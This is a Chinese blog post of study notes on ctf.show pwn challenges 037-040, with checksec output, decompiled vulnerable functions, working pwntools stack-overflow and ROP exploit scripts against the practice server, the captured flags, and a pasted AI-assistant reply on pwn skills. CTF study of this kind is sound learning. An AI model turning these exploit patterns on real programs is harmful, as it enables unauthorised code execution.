【Pvvn】037-072知识点记录

写在前面

036.5

037 栈溢出+后门函数(32位)

1
2
3
4
5
6
7
8
9
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn037/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位 关闭了栈保护与PIE
→可以直接修改栈上的返回地址来攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("Just very easy ret2text&&32bit");
ctfshow();
puts("\nExit");
return 0;
}

ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF
/*
[esp+6h]:这表示buf数组的起始地址相对于ESP(栈指针)的偏移量
ESP通常指向栈顶,在函数调用时,ESP会在每次压栈操作后向下移动
[ebp-12h]:这表示buf数组的起始地址相对于EBP(基址指针)的偏移量
*/

return read(0, buf, 0x32u);
}
/* 首先声明一个名为buf的字符数组,大小为14字节,距离ebp的距离为0x12
通过read函数能够读入0x32(十六进制),转为十进制就是50个字节的数据
▷存在栈溢出
→当读入的数据超过buf的大小时,可以覆盖后续的栈帧数据,包括返回地址*/

int backdoor()
{
system("/bin/sh");
return 0;
}
/* 利用栈移除,可以通过构造payload覆盖返回地址,使其指向backdoor函数的地址 */
  • 直接进行溢出,覆盖返回地址,再输入后门函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'
# io = process('./pwn') 测试本地pwn
io = remote('pwn.challenge.ctf.show', 28216) # 连接远程服务,参数为服务的主机名和端口号

elf = ELF('pwn') # 创建了一个ELF对象,它用于分析和操作名为pwn的二进制文件。ELF对象提供了多种方法来访问二进制文件的内部结构,如符号表、节头表、段头表等。在这个场景下,我们需要找到backdoor函数的地址,所以ELF对象是必不可少的

backdoor = elf.sym['backdoor'] # 通过ELF对象的sym属性获取了backdoor函数在内存中的地址。elf.sym实际上是一个字典,其中键是符号的名字,值是该符号在二进制文件中的地址

payload = 'A' * (0x12 + 4) + p32(backdoor) # 其中'A' * (0x12 + 4)是填充部分,用来覆盖函数调用后的返回地址;p32(backdoor)将backdoor函数的地址转换为32位的小端格式,以便正确地放置在payload中
# 这个地方没太懂

io.sendline(payload)
io.recv() # 接收服务器的响应

io.interactive() # 进入交互模式,允许手动操作shell
  • 获得shell
  • cat /ctfshow_flag
  • ctfshow{b699b9f5-e8cd-41d1-b925-8ce4121dd3c6}

038 栈溢出+后门函数(64位)

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn038/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位 关闭栈保护和PIE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(s);
puts(asc_400890);
puts(asc_400910);
puts(asc_4009A0);
puts(asc_400A30);
puts(asc_400AB8);
puts(asc_400B50);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh'.There is a backdoor function");
puts(" * ************************************* ");
puts("Just easy ret2text&&64bit");
ctfshow();
puts("\nExit");
return 0;
}

ssize_t ctfshow()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

return read(0, buf, 0x32uLL);
}

__int64 backdoor()
{
system("/bin/sh\n");
return 0LL;
}
  • 与32位不同之处:需要考虑到堆栈平衡加上ret返回地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
# io = process('./pwn')
io = remote('pwn.challenge.ctf.show', 28294)
elf = ELF('./pwn')
backdoor = elf.sym['backdoor']

ret = 0x400287 # 0x0000000000400287 : ret

payload = b'a' * (0xA+8) + p64(ret) + p64(backdoor)
# 这里的b'a' * (0xA+8)是用来填充的,0xA对应buf数组的大小(10字节),加上额外的8字节以覆盖返回地址。p64(ret)和p64(backdoor)分别用于插入ret gadget和backdoor函数的地址。

io.sendline(payload)
io.recv() # 接收响应

io.interactive() # 进入交互模式

"""
返回地址的覆盖:
在64位中,地址是64位长的,因此需要使用p64()函数来正确地构造返回地址。此外,由于64位架构中函数调用的参数通常通过寄存器传递,栈上可能会有更多的空隙,因此在构造payload时需要更精确地计算填充长度

64位架构下的栈溢出攻击需要更加注意栈的对齐和堆栈平衡,同时使用p64()函数来构造正确的64位地址。在构造payload时,还需要插入适当的ret gadget以确保正确的函数调用流程
"""
  • ctfshow{acb00b19-9c0e-49ca-8a0c-3819a7a9ecf7}

039 栈溢出+32位手动构造system(“/bin/sh”)

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn039/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位 关闭了栈保护与PIE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);

// 美术部分
puts(asc_804876C);
puts(asc_80487E0);
puts(asc_804885C);
puts(asc_80488E8);
puts(asc_8048978);
puts(asc_80489FC);
puts(asc_8048A90);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&32bit");


ctfshow(&argc);
puts("\nExit");
return 0;
}

ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF

return read(0, buf, 0x32u); // 通过read系统调用读取最多50字节的数据到buf中。由于buf的大小小于读取的字节数,这就产生了栈溢出的可能性
}

int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28195)
elf = ELF('./pwn')
system = elf.sym['system']
bin_sh = 0x8048750

payload = 'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)
# 前半部分'a'*(0x12+4)是用来填充并覆盖返回地址的
# p32(system)是system函数的地址,通过elf.sym['system']获取。system函数接受一个字符串参数并执行它,这正是我们想要利用的功能
# p32(0)是多余的返回地址,因为system函数通常不会返回。但是,为了构造payload的完整性,这里放置了一个地址,这个地址实际上不会被执行
# p32(bin_sh)是/bin/sh字符串的地址。由于system函数需要一个字符串参数,所以这里需要/bin/sh的地址。在这个二进制文件中,/bin/sh字符串已经被硬编码了,其地址是0x8048750(这是哪里看的?

io.sendline(payload) # sendline函数用于发送构造好的payload。sendline会自动在payload末尾添加一个换行符,这通常与read系统调用期望的输入格式相匹配
io.recv()
io.interactive()
  • ctfshow{fc36efc2-3af6-4607-9296-a1bfbbe8eaaa}

040 栈溢出+64位手动构造system(“/bin/sh”)

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn040/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位 关闭了栈保护和PIE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(asc_400828);
puts(asc_4008A0);
puts(asc_400920);
puts(asc_4009B0);
puts(asc_400A40);
puts(asc_400AC8);
puts(asc_400B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&64bit");
ctfshow();
puts("\nExit");
return 0;
}

ssize_t ctfshow()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

return read(0, buf, 0x32uLL);
}

int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}
  • 有system函数,有‘/bin/sh’字符串,但是不在一起,因此我们仍然需要手动进行构造payload
  • 64位和32位不同,参数不是直接放在栈上,而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28309)
elf = ELF('./pwn')
system = elf.sym['system']
bin_sh = 0x400808
pop_rdi = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ret = 0x4004fe # 0x00000000004004fe : ret


payload = 'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
"""
①'a'*(0xA+8) : 这部分生成了一个由字符 'a' 组成的字符串,长度为0xA+8。这是为了填充缓冲区,达到溢出栈帧的目的
②p64(pop_rdi) : 这部分使用 p64 函数将 pop_rdi 的地址转换为一个8字节的字符串。pop_rdi 指令用于将值从栈上弹出并存储到寄存器rdi中。在这个payload中,它用于准备传递给 system 函数的第一个参数
③p64(bin_sh) : 这部分使用 p64 函数将 bin_sh 的地址转换为一个8字节的字符串。 bin_sh 通常是指向包含要执行的命令的字符串(如 /bin/sh )的指针。该字符串将作为 system 函数的第一个参数
④ p64(ret) : 这部分使用 p64 函数将 ret 的地址转换为一个8字节的字符串。 ret 是一个返回指令,用于将程序控制权返回到栈上保存的地址。在这个payload中,它被用作一个间接跳转指令,用于绕过栈中的返回地址,以达到执行 system 函数的目的
⑤p64(system) : 这部分使用 p64 函数将 system 的函数地址转换为一个8字节的字符串。system 是一个函数指针,指向一个可以执行系统命令的函数
"""

"""
最终我们的目的就是通过栈溢出修改返回地址,以控制程序执行流程。
它通过调用 pop_rdi 指令将bin_sh 的地址加载到寄存器rdi中,然后通过 ret 指令进行间接跳转,最终调用 system 函数,以执行system(“/bin/sh”)进而获得一个我们想要的shell
"""
io.sendline(payload)
io.recv()
io.interactive()
  • ctfshow{53e6a886-b8f0-4a6e-b306-ccfc10370001}

041

他妈的好难啊啊啊啊啊啊啊啊啊

写在后面

作为一名CTF(Capture The Flag)竞赛中专注于PWN方向的专家,我(调教过的通义灵码)具备以下技能和知识:

  1. 二进制漏洞利用:理解并利用缓冲区溢出、格式化字符串漏洞、整数溢出、使用-after-free、双free等常见漏洞。
  2. 调试技巧:熟练使用GDB进行调试,包括设置断点、单步执行、查看内存和寄存器状态等。
  3. 逆向工程:能够使用IDA Pro、Binary Ninja或Ghidra等工具分析二进制程序,理解函数逻辑和数据流。
  4. ROP(Return-Oriented Programming):掌握ROP技术,能够在禁止执行堆栈的情况下构造ROP链以实现任意代码执行。
  5. Python编程:擅长使用Python编写脚本来自动化漏洞利用流程,如生成payload、解析二进制文件、与目标服务交互等。
  6. 网络协议和安全:了解TCP/IP协议栈,能够分析网络通信,识别和利用网络服务中的漏洞。
  7. 操作系统安全机制:理解ASLR(地址空间布局随机化)、NX(No eXecute)位、Canary值等现代操作系统安全特性,并能绕过它们。
  8. 工具使用:熟悉pwntools、ROPgadget、radare2等工具在PWN中的应用。
  9. 编写和破解Exploit:能够编写稳定的exploit,并对现有的exploit进行分析和修改以适应不同的环境。

如果你正在准备一个CTF比赛或者遇到某个具体的PWN挑战,我可以帮助你分析问题,提供解决方案,或者指导你如何编写相应的Python脚本来辅助你的工作。请告诉我你具体需要哪方面的帮助。

当然,不过为了给出更准确的分析,我需要你先提供一些关于题目本身的信息。不过,我可以基于一些常见的PWN题目类型来推测可能涉及的知识点。

假设我们讨论的是一个典型的PWN题目,那么它可能会涉及到以下几个方面:

1. 二进制分析

  • ELF文件结构:理解ELF文件的结构,包括段(segments)和节(sections),例如.text.data.bss.rodata等。
  • 动态链接:了解动态链接的工作原理,包括如何加载共享库和解析符号。
  • 符号表和调试信息:学习如何利用符号表和DWARF调试信息进行逆向工程和调试。

2. 漏洞利用

  • 缓冲区溢出:利用缓冲区溢出来覆盖返回地址,从而控制程序的执行流程。
  • 格式化字符串漏洞:利用格式化字符串漏洞读取或写入内存。
  • 整数溢出:当整数运算结果超出其表示范围时,可以导致意外的行为或漏洞。
  • 使用-after-free:在释放内存后重新使用该内存块可能导致的漏洞。
  • 双free:同一内存区域被释放两次可能导致的未定义行为。
  • 堆喷射:通过精心设计的输入,可以在堆上分配和控制特定的内存块。

3. 绕过安全机制

  • ASLR(地址空间布局随机化):通过预测或泄漏基地址来绕过ASLR保护。
  • DEP(数据执行保护):使用NOP滑块或ROP技术绕过DEP,使得非代码段内存也可以执行。
  • Canary值:理解和绕过用于检测缓冲区溢出的canary值。

4. ROP(Return-Oriented Programming)

  • ROP基础:如何寻找和利用ROP小工具来构建ROP链。
  • ROPgadget工具:使用ROPgadget来自动搜索ROP小工具。

5. 调试和逆向工程

  • GDB:使用GDB进行调试,包括设置断点、单步执行、检查内存和寄存器状态。
  • IDA Pro或Binary Ninja:使用逆向工程工具来分析二进制文件的内部结构和逻辑。

6. 自动化脚本

  • pwntools:使用pwntools库来自动化漏洞利用的过程,包括与远程服务交互和构造payload。

一旦你提供了具体的题目细节,我可以针对那些特定的知识点提供更深入的解释和指导。请分享题目的相关信息,这样我们可以开始具体的分析。

  • Copyrights © 2024-2025 brocademaple
  • 访问人数: | 浏览次数:

      请我喝杯咖啡吧~

      支付宝
      微信